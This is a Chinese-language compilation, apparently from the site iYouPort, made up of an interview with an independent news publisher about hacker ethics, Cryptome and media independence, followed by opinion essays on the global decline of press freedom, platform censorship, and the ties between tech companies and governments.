Tim：我不知道它来自什么，但显然人类一直倾向于认为自己是特殊的独一无二的，美国特殊论你一定熟悉，美国的地理位置决定了美国人不需要太过关注“其他国家”的事务。在棱镜门出现之前，来自政府的非法监控一直被美国人认为是“其他国家的事”。还是那句话，这是数字时代，并且所有人都在互联网上，技术是没有国界的，我们共享着同一个人类“文明”。

Q：中国特殊论和美国特殊论不太一样，前者倾向于拒绝其他国家的经验借鉴，拒绝联合，以及就此滋生了严重的虚无主义。

Tim：我本人对经验借鉴兴趣不大，我们应该发展出适合自己的方式，结合地域、民风、资源等方面的优势，最大程度地发挥创造力，那将获得最适合的方式。但拒绝联合是严重的问题，互联网给了联合前所未有的便利，不论是智力上的还是行动上的。这个时代已经抛弃

了很多传统的运作方式，保守不仅仅是落伍，已经变成了一种障碍。

Q：说到联合，你遇到过什么困境吗？为什么一直没找到帮手？或者是从来没想找过？我是在说，一个人完成的媒体平台难免会带有个人偏好。

Tim：是这样，每个人都会有自己的偏好，我在尽力避免这种状况，如果新闻原则可以完整实现，一个人也能保证新闻的公正性。

并不是没有寻找过合伙人，愿意帮忙的朋友还是有的，但由于长期没有资金支持，大家的工作疲惫不堪。而且时间一长，很多人不是想要钱就是想要名利，都是基本人性没什么错的，我理解这些，但自己无法提供，只能眼见着大家失望地离开。

Q：这是你遇到的最大困境吗？

Tim：不是。最大的困境是不被理解。就像你在某个无神论至上的社会里拥有某种信仰，你可能会被认为是怪胎、别有用心或者言行不一。同样，在充斥着物质和虚无主义的社会里，一个理想主义者的行动会被认为是宣传性的虚伪。很多人怀疑我有隐蔽的酬劳，而且“价格不菲”，我真的希望他们说的是事实（笑）。不被理解就很难找到合作。我喜欢和志同道合的朋友一起工作，为了同样的目标努力，不过目前看来还无法实现。

另一种不被理解是来自读者。就如媒体喜欢邀请名人发言，谈论对新闻热点的思考，并不在意他们所言是否充分和恰当，读者也喜欢给一个日渐显露头角的新闻平台揣摩出一个“背景”，似乎没有背景的平台不合乎所谓的生存哲学？就如你所知道的，一则消息无法涵盖左中右各方的阅读品味，要想清晰地阐述一个事实也无法做到这点，人们喜欢抓住一些细节来揣测你的立场或动机，公正性和公信力都需要持久的磨合。好在信心我还是有的。

Q：关于意识形态的众口难调，能举个例子吗？

Tim：比如这篇报道，Facebook 的算法屏蔽掉很多右翼的新闻和言论，哪怕它们是真实和准确的。完全可以预见，转发该消息的人基本都是右翼，这也就令大众对硅谷巨头的审查的理解被框定在不同的维度里，如果没有能做到独立公正的媒体平台为此发声的话。

这显然违背了互联网的信息自由的原则。当下国际政治环境的两极分化已经达到了历史上的峰值，意识形态被高度突出，成为人们自我表

达自我诠释的一种媒介，互联网巨头也在通过刺激人们的偏见制造舆论冲突以增加参与度。其实很多媒体也是这么做的。

众所周知，一些综合媒体的网站不是中立的，他们会使用算法来根据首席执行官的某种不透明的偏好忽略一些特定消息，并强调另一些（比如杰克和扎克伯格）。你用**RSS**订阅就不会发生这种状况。可惜社交需求量太高了，RSS正在逐渐式微。

Q：做中文新闻也会遇到类似的情况，人们喜欢根据一个人在多大程度上谈论中国的弊端来定位他的立场。比如我们关心人权问题，关心隐私侵犯、言论自由和互联网审查，如果我被认为过多谈论“其他国家”的相关问题，中文读者就会认为我的立场有错。尤其是美国，中国读者视美国为偶像的存在，来自于中国当局的反美意识形态，它在民间尤其是民主派范围内形成了一种偏激的论调，批评美国的中国人会被视为政府的簇拥。比如关塔那摩的人权问题，在中国几乎看不到有人提及。你如何评价这种现象？它属于自闭吗？

Tim：这完全背离了关注人权的声明。仿佛在说，自己国家的人权是人权，其他国家的人权就不是人权，很荒唐。我不反对使用相关性来促进理解，比如被巴林政府判处五年徒刑的异议人士 Rajab。Rajab是著名人权活动家、巴林人权中心主席。由于在Twitter上批评海湾王国在也门战争中的作用而被判刑，目前已服刑两年。这是互联网言论罪，性质上与中国的浦志强案完全一样，中文平台可以使用浦志强案做关联来吸引更多的思考。

曾经一个玩笑说“全世界最爱美国的人都在中国”，看起来一点不假。我注意过你曾经翻译了一则消息，关于德国新建的社会信用评级系统，这是严重侵犯公民隐私的，但你使用的是中国的例子，说德国在模仿中国，这不是事实，最早使用这种系统的是美国，也就是说中国是在模仿美国。

Q：但我不能这样说，就如你所知道的，中文读者会在很大程度上错误理解它的含义。

Tim：这就是问题所在。当我们面对事实的时候，很难同时让所有读者接收到事实本身的价值。我喜欢美国哲学家 Ayn Rand 的一句话：**the truth is not for all men but only for those who seek it.(**真相不是给所有人的，只限于那些寻求它的人**)**。但作为媒体的我们，需要让自己在最大程度上尊重事实，呈现真相。

Q：我本人也不喜欢高举意识形态，意识形态是很局限的东西，尤其

是当你站在事实面前。曝光真相的确不是一件容易的事，人们倾向于信任那些能让自己的立场和认知得以彰显的东西，而不是寻找真相，他们想要保持某种快乐。真相在人类事务中很少是重要的，但只有真相才能打破权力的虚伪，让人民看清自己的处境，让民主得以切实的完成。但我们不得不置身互联网，不得不接受这种或那种数字巨头的压制，Facebook不是唯一的审查员。

Tim：我们都有能力相信我们所知道的事情是不真实的，但当最终被证明是错误的时候，又会不择手段地扭曲事实，以表明自己是对的（笑）。

互联网让审查变得更容易，只要轻点鼠标就能删除真相，网络监视私人信息的方式让第三帝国兴奋不已。而那些某种权势不希望公开的信息正是当权者的弱点，公开他们就是传媒的职责所在，"如果媒体不能履行公开性的负责任的新闻理想，民主就无法运转"。提高人们推理和决策的能力，就是举报、激进主义和调查性新闻的目的。

知和识决定了你的人格，任何国家都无法剥夺你的人格。国家无权赐予正义，正义不是权力的施舍，正相反正义能得以维系就是对权力的约束。媒体的义务就是让权力不能控制信息，这样才能保护人民大众的判断力。

新闻曾经的一大特点就是只摆事实，让读者获取事实然后自行判断，但不知道从什么时候开始，新闻人变得夸夸其谈，总是想告诉读者应该如何思考那些信息，却很少有问为什么大众的思路要接受那少数几个人的指点？然而读者却逐渐变懒了，等待着媒体的主动“解说”，这是很糟糕的局面，尤其是那些背后有着这样或那样的政治派系支撑的媒体，你不是在了解世界，而是在被灌输意识形态。

Q：我一直认为新闻人应该有黑客那种无政府主义的态度，我觉得你很像一个黑客，各种化名、笔名，躲在深深的幕后，行动就是身份，知识就是面孔。

Tim：这是我的荣耀。虽然我比黑客还差得很多。黑客的政治觉悟比很多知识分子都高，并没有什么特殊，只是他们知道的太多了。知识分子只能通过被公开的消息了解政治，而公开的过程中注定会遇到N个过滤器，有政治性的筛选也有商业性的，最终被看到的只是某些人认为可以被看到的东西，这些人就是部分权势。而公开消息对黑客来说只是个可选的索引，他们可以顺藤摸瓜了解到更多真实的东西。

有意思的是，如今黑客这个名词被污染，很大程度上也是媒体造成

的。真正的黑客既不偷钱也不作恶，偷钱的是cracker，黑客只是技术高手，而且很正义，加密运动的开创者、那些 cypherpunks 先驱都是黑客。他们不会为任何政权服务，媒体使用的“政府操控的黑客”这是个伪概念。

Q：中国的黑客或者是民间高技术人士大多被政府吸纳了，他们为政府工作，获取昂贵的酬劳。

Tim：很多国家都有网络作战部队，这是数字时代新冷战的主力军，但这些人已经不是黑客了，而是 **cracker**，他们的任务是攻击和破坏，背离了黑客的原则。真正的黑客信条是用公开信息保护隐私信息，针对权势而不是弱小。就如 **Julian Assange** 的名言：**privacy for theweak and transparency for the powerful.**

亚洲黑客和欧美不一样在于阶层，欧美黑客基本都是社会底层，举报 **Manning** 的国际著名黑客 **Adrian Lamo** 就是个无家可归者，但在亚洲，黑客大多是精英、至少中产。他们的政治观察角度不一样，行为选择也很可能不同。这是欧美和亚洲技术在此很难联合的主要原因之一。

Q：很有趣。媒体如果能和黑客合作将会诞生什么？

Tim：早已诞生了。John Young 的 “Cryptome.org”创立于1996年，那是Wikileaks的一个雏形，著名怪人 Young 是 Julian Assange 的精神偶像，**Cryptome** 在黑客信条的基础上曝光所有政权隐藏的信息，只要具备撼动权力关系的价值，**Young**从不拒绝发表，而且自创立至今，没有删除过任何电子出版物，哪怕是在各种权势的强制压力之下。他一直过着隐蔽的生活，各路间谍机构常年追踪他。

Cryptome 的最大价值是彻底消除了我们上面所讲的在信息公开过程中被安置的N层过滤器，信息从举报人手里直接端出来，至于对这些信息如何理解、使用和在此基础上建立行动，全部交给读者处理。在我看来这就是新闻原则和价值的最大化。

我们已经很高兴的看到，越来越多的传统媒体开始热衷于改革，如纽约时报，这是对民主绝对有利的条件。

延伸阅读："//美国媒体正在逐渐变成 Wikileaks 媒体改革成效已初步显现 ⏳//"

Q：就像健康指导鼓励食用天然食材，保存全部营养价值.

Tim：对。媒体不应该对信息多度加工。**Young** 开创了一种社会前进的模式，让媒体为观察者负责，让权力机构可以被观察，打破政府和权势对信息的垄断，这是新闻伦理所在。互联网提供了全球协作的机会，信息不该再被某些“中心”所继续霸占。

Q：我们正在组织相关稿件，很高兴获得你的意见。

Tim：希望你们能继续做出优秀的评论和分析。政治事业极其复杂，正如我们前面所讲，个人追求的重点不同，很难用一则信息集中大多数人的目光，但并不意味着信息 - 真相本身的价值被削弱了，并不是，真相的价值就是真相，被削弱的只是你对关注度的追求，这种追求一定要限制，否则它注定拖后腿。

媒体最应该坚守价值观。就如 Snowden 所说：You shouldn’t change your behavior because a government agency somewhere is doing the wrong thing. If we sacrifice our values because we’re afraid, we don’t care about those values very much.

Q：我已经尽力避免了，经常遗憾于不被理解。

Tim：不用遗憾。别人认为你是什么样的人，并不影响你成为什么样的人。

Q：我喜欢这句话。最后一个问题，为什么你愿意接受我们的采访？

Tim：我看到了你们对新闻自由、对民主单纯的维护，这让我感觉我们可能是一路人。

我们是。感谢 Tim Marlowe 给了我们对话的机会，我希望这篇文章不仅仅是一篇人物访谈。

原文

为什么说记者的专业性和对安全知识的熟练掌握决定了民主的可持续性 - iYouPort

为什么关于真实的“媒体”-真相衰变

我们可以合理地预期数字革命将迎来媒体自由的鼎盛时期。技术的小型化和移动连接的普及大大提高了我们共享、交互和访问信息的能力。

但是，审查七骑士杀死了这些自由。权利组织 Article 19 的一份新报告描绘了这一趋势，表明媒体自由处于 2006 年以来的最低水平，政府对曝光腐败和虐待的人的审查出现特别的增加。

Article 19 记录了审查对记者、媒体工作者和社交媒体评论员的无情攻击。除了国家级的审查代理人之外，我们看到新的侵犯媒体自由行为的其他群体数量也在增加，包括有组织犯罪、宗教激进组织、甚至是公司和经济集团。在最糟糕的情况下，国家级审查通过其中一个群体运作，或者他们在国家的默许下运作。

不论是民主还是专制国家，暴力和审查都是一种威胁。虽然原因因国家而异，但制度薄弱和法律框架有限，以及缺乏对多样性和多元化的政治意愿和欣赏，只能产生新闻自由的恶劣环境。

与此同时，互联网和相关技术的激增也为表达和信息自由带来了新的机会，但同样也为当局的追踪和入侵提供了更大的机会，例如使用数字监控和网络攻击来对付记者。

全球安全形势正在恶化。记者不仅面临审查，还面临人身危险，包括威胁、未遂或实际的攻击、绑架、失踪和谋杀。女记者也面临着独特的基于性别的威胁。侵略者逍遥法外更加创造了一个威胁性的环境，进一步限制言论自由和信息的自由交流。仅在2016年，就有79名记者因工作而被杀，还有259人被监禁。

- 延伸阅读：《全球新闻业都在倒退，民主正面临危机—— 怎么办？》
- 《大部分审查并非如你平日的吐槽对象那般显而易见》

- 《强权能杀死记者，但无法杀死新闻—— 2018报告出台，为什么全球新闻自由指数仍在下降？》

暴力和威胁并不是当权者部署的唯一工具，各国在审查媒体方面也变得越来越复杂。所有权、税收和广告收入等商业途径越来越多地被用来阻碍媒体的独立性和内容的多样性。垄断所有权和国家赞助的广告越来越趋向于控制内容。传统媒体收入的崩溃进一步加剧了这种威胁。

即使在长期致力于言论自由的国家，记者也在日益恶劣的环境中开展工作。民主选举的领导人越来越多地使用与专制政权相关的策略，他们呼喊“假新闻”，积极摒弃批评者的声音，美国总统甚至询问媒体组织的执照是否应该受到质疑。在英国，侵入性监视法，臭名昭著的“调查权力法”以及新的“间谍法”提案的通过均是对调查性新闻的严重威胁。

媒体自由度的下降恰逢 Facebook 和 Twitter 等社交媒体平台的崛起。一些互联网公司现在对我们搜索和查找信息的方式施加的控制令人担忧（详见《“定制人”将终结民主》）。鉴于原始的“四歧视”审查借口已经添加了“虚假新闻”和错误信息的夸张理由，对于越来越多地用于管理和策划信息的算法是否能具有最大程度的透明度至关重要，这样我们才能更好地了解它们的影响。强有力的法律保护和尊重媒体和电信监管机构的独立性至关重要。

许多国家缺乏确保适当调查的政治意愿，也难以起诉那些对实施物理、法律和数字攻击负责的人。因此，媒体和民间社会也必须采取主动。迫切需要面临迫在眉睫风险的人群拥有保护自己和继续工作的必要工具和技能。为了提高效率，这些自我保护工具必须解决所面临风险的复杂性。在事故发生之前创建一种解决安全问题的预防文化非常重要。

为此，媒体必须对所面临的威胁和解决这些威胁的意愿有必要的认识。最后，需要对象征性的有罪不罚案件进行协调一致的重视，目前这些案件要么未经当局调查，要么在调查或起诉方面没有任何进展。

原文

全球新闻业都在倒退，民主正面临危机——怎么办？ - iYouPort

关于真实的“媒体”-真相衰变

日前，经济学人发表了一篇调查报告，并就此发出警告：全球民主继续其令人不安的倒退——最近更新的民主健康指数显示，有一半以上的国家分数下降。

自从斯坦福大学政治学家Larry Diamond提出全球“民主衰退”的概念以来，十年已经过去了。经济学人信息部民主指数第十版表明，这种不受欢迎的趋势仍然明显。该指数包括选举进程和多元化、政府运作、公民政治参与、民主政治文化和公民自由等五大类60个指标，结论是：目前世界人口只有不到5%生活在“完全民主”之中。

挪威仍然是排名中“最民主的国家”，自2010年以来一直保持这一地位，而西欧在19个“完全民主国家”中占了14个，但该地区的平均得分在2017年略有下滑，为平均为10点的8.38点；西班牙政府试图在去年10月1日终止加泰罗尼亚独立公投，导致该国得分下降了0.22分，仅以0.08分高于“有缺陷的民主”门槛；在马耳他，反腐博客作者达芙妮·卡鲁阿纳·加利济亚（Daphne Caruana Galizia）被莫名其妙的谋杀，引发了大众对法治和当局调查敏感罪行意愿的疑问，导致其0.24点的下降；然而法国，已经是一个“有缺陷的民主国家”，尽管其选民去年在总统选举中坚决拒绝了一个极右候选人，但由于立法机关通过了扩大政府的紧急状态之权力的法律，法国公民自由分数下降；印度尼西亚出现了最显著的下滑，从第48位下降到第68位，委内瑞拉则直接下降到“专制政权”的类别；美国排名第21位，与意大利相当，连续第二年成为“有缺陷的民主”；韩国以 7.996 分的整体得分处于“有缺陷的民主”范畴。

「图」

为什么会这样？经济学人只列举了某些国家近期发生的侵犯人权的行为，却没有指明一个根本性的原因，那就是：新闻业的衰落—— 全球性的、整体的大滑坡。

民主意味着人民可以监督权力、有清新的判断力和公民意识，这只有在人民清楚地知道政权干了什么时，它才是可能的。人民从哪里获得政权试图隐藏起来的信息？——媒体。

媒体堕落必然导致民主的堕落，如果权力能控制媒体，再多的选票都是虚妄。

「图」

最令政权畏惧的是媒体

在发生重大社会运动的时候，政治分歧各方的精英阶层会比一般人更害怕彼此，富人阶层可能反对较为传统的贵族政治，但双方都会担心激进的出版商发表的信息会激化人民的情绪。正如一位作家所说的那样："他们把所有的国王和议会政府的秘密和隐私端了出来，摆在庸俗的人们面前（"casting pearls before swine"），因此教会了人们认清事实，大自然的第一原则，正是这些出版商使人民如此好奇和傲慢，以至于他们永远不会谦卑地屈服于精英的统治……"

虽然这些话很容易描述当今在突尼斯、埃及、中东以及其他地方发生的情况，但实际上它是1661年由一名叫克莱门特·沃克（Clement Walker）的人写的，他是十六世纪四十年代的英国内战时期颇具知名度的激进主义者。

那是出版历史上的一个关键时期，也是政府试图控制人们阅读的时代。两个世纪之前发明的印刷机变得更容易获得，加之邮政系统的创建，第一批报纸出现在了整个西欧。今天的格言"technology drives distribution"，其实早有先例。

在内战期间，既有的印刷商和书商并不是唯一可以发行报纸的人：那些来自底层的工匠们也出版了自己的报纸。在十六世纪四十年代的四年间，一位名叫约翰·迪林汉（John Dillingham）的裁缝出版了"中等情报报"（Moderate Intelligencer），详细报道了内战的发展。 迪林汉试图清楚地报道这场冲突，不过很快他就与新闻界的正式执照持有者马博特（**Gilbert Mabbot**）发生了冲突，马博特试图以更明显地支持奥利弗·克伦威尔（**Oliver Cromwell**）的信息取代民间公正的情报。

在那时，小册子、手稿和其他较短小的通讯张贴纸就已经很常见了，这些真正独立的出版物反映了作者对时事的关切。难怪精英们如此担心，就是如上述沃克所言，正是资讯让人们变得"充满好奇心，永远

不会谦卑地屈服”。

这些报纸不仅报道了许多重要的消息，而且还提供了可以让读者讨论政治、经济和文化问题的场所，读者可以在各个领域跟踪机构的活动，并且可以动员起来，推动经济和政治条件的变革。

你发现最古老的出版物与今天的最大不同了吗？没错，那就是资金来源。那时候的民间独立出版物没有唯广告而利润的窘境。判断一家媒体是否真正能做到独立自由，要看它的资金来源，那些背后是商业巨头或政府的媒体，他们只能是权威的代言人。

为什么衰落？

现如今，虽然博客圈被看作反映了民众关注的多样性，但真正有代表性的媒体的想法可以追溯到很多深远的历史。

美国传媒界曾经有过辉煌的时代，例如1920年，美国的一些编辑成立的联合新闻社，这是一个合作式的新闻采访服务机构，旨在对付主流媒体的偏见。该服务一直运行到20世纪40年代，提供了大约150个出版物。 劳工运动的新闻当时非常受欢迎，即使在第一次世界大战之前，它的报纸在美国的发行量也超过了200万份，最大的左翼杂志“理性诉求”每周发行量为五十万份。

但是，随着欧洲的冲突越来越近，企业开始联合起来企图将这些出版物隐藏。在美国，**1917**年颁布的“间谍法 "Espionage Act of 1917" ”认为，和平地反对战争行为是违法的。其中最著名的早期受害者是美国社会党和劳工领导人尤金·德布斯（ "Eugene Debs" ），他因反战观点于**1918**年被定罪，并被判处十年徒刑。

当时的“纽约时报”曾经要求他入狱二十多年，在1894年7月9日的一篇社论中这样写道：德布斯是一个“严重的违法者，是人类的敌人”，那篇社论谈论的是对他的逮捕。报纸还说：“如果他的邻居有监狱的话，他们应该关押他，而他的恶劣言论所引起的混乱也必须被压制.....不要忘了，没有朋友的美国政府永远不会被其士兵杀死 - 它只有敌人“。

从这个历史的角度来看，“纽约时报”在美国主导的伊拉克入侵之前对华盛顿力挺的表现，并不令人意外。

除了避免对所谓的“主流观点”的敌意而得以生存的意识之外，流行的基层出版商也不得不面对广告作为收入唯一来源的现实。根据分析师

詹姆斯·库兰（James Curran）的说法，20世纪初英国“每日先驱报”（Daily Herald）的读者人数几乎是“泰晤士报”、“金融时报”和“卫报”的两倍。然而它在1964年被迫关闭，尽管它是世界上发行量最大的20种日报之一，只因为做为大部分的工人阶级读者并不构成利润丰厚的广告市场。

“The liberal News Chronicle”是广告短缺的另一个牺牲品，在1960年被关闭，当时它被右翼的“每日邮报”吸纳，尽管它的发行量比“卫报”大六倍。

媒体应该是一个人民的情报机构，把“政府的所有秘密”摆在公众面前，让人们明白统治者究竟在对社会做什么。没有媒体就没有民主，没有知情权的公众是无法对权力有效监督的。然而，做为民主根基的传媒机构，却被利润所绑缚、被权威恫吓，民主又如何坚挺？

「图」

全球传媒业阴云笼罩

＊＊ABC 在违背澳大利亚“国家安全”的情况下，获得了数百份绝密和高度机密的内阁文件。这样的内阁文件在法律上应该保密至少20年，换句话说就是，民众在**20**年内都不可能了解他们投票用户的政府究竟干了什么。

然而，对该事件的报道却强调：“此事暴露了澳大利亚最为敏感的安全漏洞，以及一些负责保管文件安全的人的漫不经心”……

次日，ABC在凌晨1点被国内情报机构ASIO突袭搜查。官方却不承认这是突袭。ABC找到的那些文件仍锁在保险柜里，事实上并没有被暴露，但那个旧货商店立刻被要求彻底调查了，总理和内阁及国库部秘书长马丁·帕金森的领导层称之为重大的安全事件”。

「图」

＊＊ 路透社两名记者在缅甸报道对罗兴亚人的种族迫害时被缅甸当局逮捕。日前在仰光被过堂。如果被定罪，他们最高可面临长达14年监禁。

31岁的瓦龙（Wa Lone）与27岁的觉梭（Kyaw Soe Oo）于2017年12月12日受邀前往仰光郊区与警官共进晚餐时被捕，当时他们被发现拥有军事报告和若开邦北部的地图，被指控非法获取重要机密文件。两人皆为缅甸公民。

2017年8月25日起，数十万罗兴亚穆斯林逃离缅甸若开邦，躲避政府安全部队的大规模暴行。估计缅甸120万罗兴亚人约有三分之二穿越边界到达孟加拉，另有数万人在缅甸境内流徙，得不到必要的人道援助。军方在遭到罗兴亚武装团体计划性攻击后，持续以杀戮、轰炸和大面积纵火进行族群清洗。

「图」

＊＊ 澳大利亚政府日前在立法方面提出一项打击颇为广泛的议案，旨在防止国外势力干涉。澳大利亚总理特恩布尔（Malcolm Turnbull）表示，相关法规意在监管间谍活动、反情报与政治捐款。这可能是数十年来规模最大的整改。

有关提案包括：针对国内政治和经济的外国间谍干预活动或盗窃商业秘密的新罪行；扩大间谍法，对象扩大到拥有或接收敏感信息的人，而不仅仅是传递信息的人……等等。

然而，这对传媒界构成了严重的威胁。澳大利亚最大的媒体组织警告说，联邦政府的外国干涉法案可能会损害新闻自由，将新闻记者送入监狱。包括美国广播公司、费尔法克斯和新闻集团在内的15家公司对澳洲政府发出抗议，除非为记者提供特殊的豁免，否则他们不能支持这一法案 … 这是个很严重的问题。

「图」

＊＊ 驻中国的外国记者抱怨越来越多地遭受中国官员虐待 —— 每12名记者中就有一人声称在2017年遭到粗鲁的对待甚至殴打，英国广播公司记者说他也被打了。周二公布的一项调查显示，去年驻中国的外国记者的工作条件恶化，记者遭到殴打拘留和骚扰。

足见中国的新闻管制已经升级了，至少在早前，当局对外国记者的态度只是驱赶。

「图」

这些还只是列举了几个最近期出现的状况。无国界记者组织（RSF）发布的2017年全球新闻自由度调查显示惊人的整体下滑：许多国家的执政者都试图重新掌控国家，害怕过度开放的公开辩论。

在亚洲，日本跌到72名，媒体被指对首相安倍晋三进行自我审查；中国共产党对媒体的压制再创新高，记者连绑架、电视强迫认罪和亲人被威胁都难以幸免，国家主席习近平还说媒体要爱党、护党、为党，

报告指出，习近平对媒体角色的极权观点再明白不过；台湾在180国之间名列第51名，与去年相同。

美国排名第41位，原因是实施网络监控；加拿大排名第18，比上一个排名网下降了10位，是因为加大拿上任总理哈勃任期结束时新闻自由度下降导致的结果；整体上看，南北美洲的新闻自由度首次低于非洲。

尽管记者无疆界组织认为欧洲依然是世界上新闻自由度最高的地区，但是欧洲的模式也逐渐被脆弱化；原因是反间谍斗争，反恐导致的大规模监控，利益冲突案的增加，以及政府对公共和私人媒体的原来越多的控制等。法国在这个排名榜上居于地45位，与去年相比下降了七位……

一位数字媒体工作者在twitter 讽刺传媒界拍权力的马屁：“每一个关于政治家、政治组织和几乎所有政治事件的故事都遗漏了大部分的细节。事实上每个人都是无能的 除了少数例外，但每一个故事都把他们描绘得像天才一样。他们不是。我敢保证他们不是”。

「图」

美国博主谴责美国主流媒体对肯塔基州校园枪击案的漠视—— 这类事件已经没有新闻价值了？2死17伤啊。"newsworthy"新闻价值，现在这个词变得非常讽刺，新闻价值究竟是什么？如今被理解的定义就是吸睛度、吸引流量能力，这里面可以完全不涉及做为监督政权的传媒职能，这是何等的可悲！过度追求所谓新闻价值的结果只能是假新闻盛行。

「图」

垄断，互联网商业巨头背后的权力和阴谋

控制私有化政治空间的公司实施的审查现在几乎是一种常态。Facebook正在执行自己的社会行为和政治“法律”，去年Facebook 又招募了3000名审查员对网上言论进行审查，因为机器在辨别真正攻击性的帖子和嘲讽性或批评性言论的区别上不如人力。近年来，谷歌、Facebook和Twitter都在试图做这件事。

最令人担心的是，他们和权力走得太近了，这些大型科技公司的背后不是政府就是军方。

只说谷歌：就在施密特的谷歌作为过度友善的全球科技巨人形象竖立

起来的同时，它正在与政府情报界建立密切的关系。

2012年，Google 被列入了华盛顿最大的采购名单，这个名单通常是由美国商会、军事承包商和石油碳排放大亨所独占的。而谷歌进入了军事航空巨头洛克希德·马丁公司（Lockheed Martin）的排名，2012年洛克希德公司总值达到了1820万美元。1997年吸收麦克唐纳•道格拉斯（McDonnell Douglas）的军事承包商波音公司也在谷歌之下，耗资1560万美元，而诺斯罗普•格鲁曼公司（Northrop Grumman）则为1750万美元。

2010年，谷歌与美国国家安全局达成了“正式的信息共享”关系。据说美国国家安全局的分析师可以“评估谷歌硬件和软件的漏洞”。

几乎在同一时间，谷歌参与了一个名为“持久安全框架”（ESF）的计划，这个计划需要“以足够的网络速度”在硅谷科技公司和五角大楼所属机构之间共享信息。在2014年根据信息自由要求获得的电子邮件显示，施密特和谢尔盖·布林与美国国家安全局首席基思·亚历山大的名字排在一起。

足见，谷歌对未被美国政府主张的言论肯定不会手软。

并且，如今又出现了更为糟糕的状况—— 谷歌有可能与中国政府有染。

这篇发表在 The Washington Times 上的题为《Chinese information warfare: ‘The Panda That Eats, Shoots, and Leaves’》文章揭示：2016年5月，美国情报机构发现了一个惊人的状况：中国的网络情报服务公司能够控制人们进行谷歌搜索的结果。文章称，北京政府现在能够控制和影响数百万中国用户在使用Google进行搜索时看到的内容。

文章还说，情报表明，中国网络战研究人员实际上已经获得了Google的商业机密和机器的访问权，并调整了算法，以确保其“根据中国信息战的目标进行搜索显示”。该文章将其将视为网络空间战，但并没有给出足够的证明。很难相信谷歌的网络防御能力如此不堪，做为全球最大的互联网科技公司之一，竟如此简单的被中国攻破？

最容易的解释就是：谷歌太急于进入中国了，是它自己在调整中文搜索结果的算法，是自我审查。

谷歌这类巨型互联网公司的商业模式是基于从以前从未受到监视的那

部分人群中吸取私人数据，并将其转化为利润，因此它们不具备任何改革的可能性，如果出于言论自由和隐私的维护而要求其改革，真正能做到的方法只有杀死它。

请记住，当产品是免费的时候，你我就是产品。这就是FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）的基本商业模式：创建一个诱人的服务，收集人们没有意识到的信息。或者他们意识到的只是服务的好处，而并不知道成本。这就是数字极权。

数据即权力。

每一种审查都是罪恶，当权者最喜欢用的理由是：洗钱、毒品、恐怖主义和儿童色情，被言论自由倡导者讽其为“信息末日启示录”的四骑士。而如今，它已经变成“六骑士”了：增添了假新闻和“仇恨言论”。审查正在升级。

下图这位德国推特用户说，Facebook启动了大清洗，列举出的页面全被删除了，包括AfD的账号。我本人反对极右，但也不支持这种一刀切言论审查，它严重违背信息自由的互联网基本原则。审查应该在某个人的脑子里——你不想看的东西你就不会去看，而不是被集中化的削砍。

「图」

更重要的是，如果你只针对某项事物进行审查，比如说儿童色情，你就需要从人们浏览的东西中过滤出关于儿童色情的内容，那么你就首先必须监视每个人都在做什么，你需要建立能够监控所有人的基础设施，也就是大规模监控系统。

你可以说这项工作的初衷是好的，连美剧创作都在使用这种逻辑为政府的全面监控洗白（《疑犯追踪》）。很多时候，政府制造的麻烦比他们解决的问题多得多，而你又如何确定政府就是这个星球上解决所有问题的终极答案？

政府掌握了太多权力，权力集中的领域又吸引着滥用权力和贪图权力的人。而互联网让权力再一次出现了集中化高峰，如今的网络安全沙皇和五十年前的安保部队沙皇没什么区别，人类正在建立一种同样的威权控制架构，它吸引人们去滥用它，然而很多人还在假装这事儿在民主国家会有所不同。

并且，上述这些直接的删除都是可见的审查，它只是冰山一角。本网曾经描述过一个审查金字塔，只有一个小小的塔尖露出了地面，这个塔尖就是公共诽谤诉讼、谋杀记者、新闻禁令等等这些，所有人能直接看到的东西。而这些只是很小的一部分，在塔尖的下一层是那些不愿意暴露于塔尖的人，他们通过自我审查将消息压住，以免被推向塔尖。

再下面一层是各种各样的经济诱导，或者叫它赞助诱导，把利益摆在面前，让人们积极地报道某件事，从而回避其他事。再下面一层就是原始经济——媒体人对流量的痴迷，他们只写那些划算的、有的赚的故事，甚至都不必考虑上层的经济因素。

然后再下面就是读者的偏见，这些人的受教育程度很有限，他们容易受到假新闻的操控，并且你还无法对他们解释真实的信息。

全球打击假新闻的努力看起来声嘶力竭，就算能圆满成功，也不过是皮毛之举，审查存在的地方就没有真相。而绝大多数审查是不被承认的，因为它们发生在暗处，也因此不存在对某个特定主张进行审查的指示。相反，是记者自己认识到了他们被期望如何去做，因为他们了解取悦和巴结某些人的利益所在。

「图」

误导性政治宣传进入数字时代

纽约时报日前披露了一家鲜为人知的专门提供虚假粉丝服务的公司Devumi，该公司手中至少有350万 机器人账号，向客户提供了2亿以上的僵尸粉。报道引述商业和法庭记录的数据称，Devumi有超过20万客户，一部分是自己购买，另一部分客户则是由手下的雇员或代理人或公关公司代他们购买。

购买僵尸粉的动机是宣传，激发马太效应。相比下更可怕的是另一种宣传——网络水军，它通过有目的的制造舆论、伪造民意，破坏民主制度。这里是本网在四年前观察到twitter存在的网络水军报道：《网络“水军”的布局》

在过去的一年里，包括美国在内至少有18个国家的选举受到了线上操纵与散布虚假信息手段的影响。虚假的宣传造成了连续七年的网络自由度下滑。

近年来，各国政府发现用“众包”的方式开展网络信息安全工作，能获

得更好的效果，且可以避免直接责任。即使是经验丰富的观察家，也难以将政府宣传与实际的民间民族主义言论区分开来。比如中国，政府长期聘用国家雇员来引导网络舆论，但现在他们只是一个庞大生态系统的一小部分。这个生态系统更多是由共青团志愿者以及被称为“自干五”的普通公民组成。在官方文件中，共青团将“网络文明志愿者”形容为用“键盘作为武器”，在一场正在进行的“网络战争”中“守护互联网领土”的战士。

而 **twitter** 这类平台不会对网络水军加以干涉，因为那样做将削减用户数量，利润下滑股东是不会答应的。你我是他们的产品，他们不会为你我的利益服务。

卑劣的宣传和误导正在扼杀民主，人们获取到了太多有目的伪造的舆论，而同时缺乏对政权足够的揭露，已经不可能正确有效地行使公民权利。

「图」

媒体必需真正的独立

先举个例子。至少从70年代以来，很多真正的行为主体持续受到自由市场国家主义的打击，公民社会被变成了为政治派别和公司利益服务的组织。过去四十年来，智库和 NGO 大量涌现，它们中不少被委托来执行政治议程，丧失了真正的职能。判断一个公民社会组织是否纯正要看他们的资金来源，尤其是那些被隐蔽的资金来源。

电子前线基金会 EFF 和自由软件基金会 FSF 等 这些都是纯正的公民社会组织（the genuine civil society organizations）他们的资金大部分来自于会员和捐赠，而不是政府和财团。

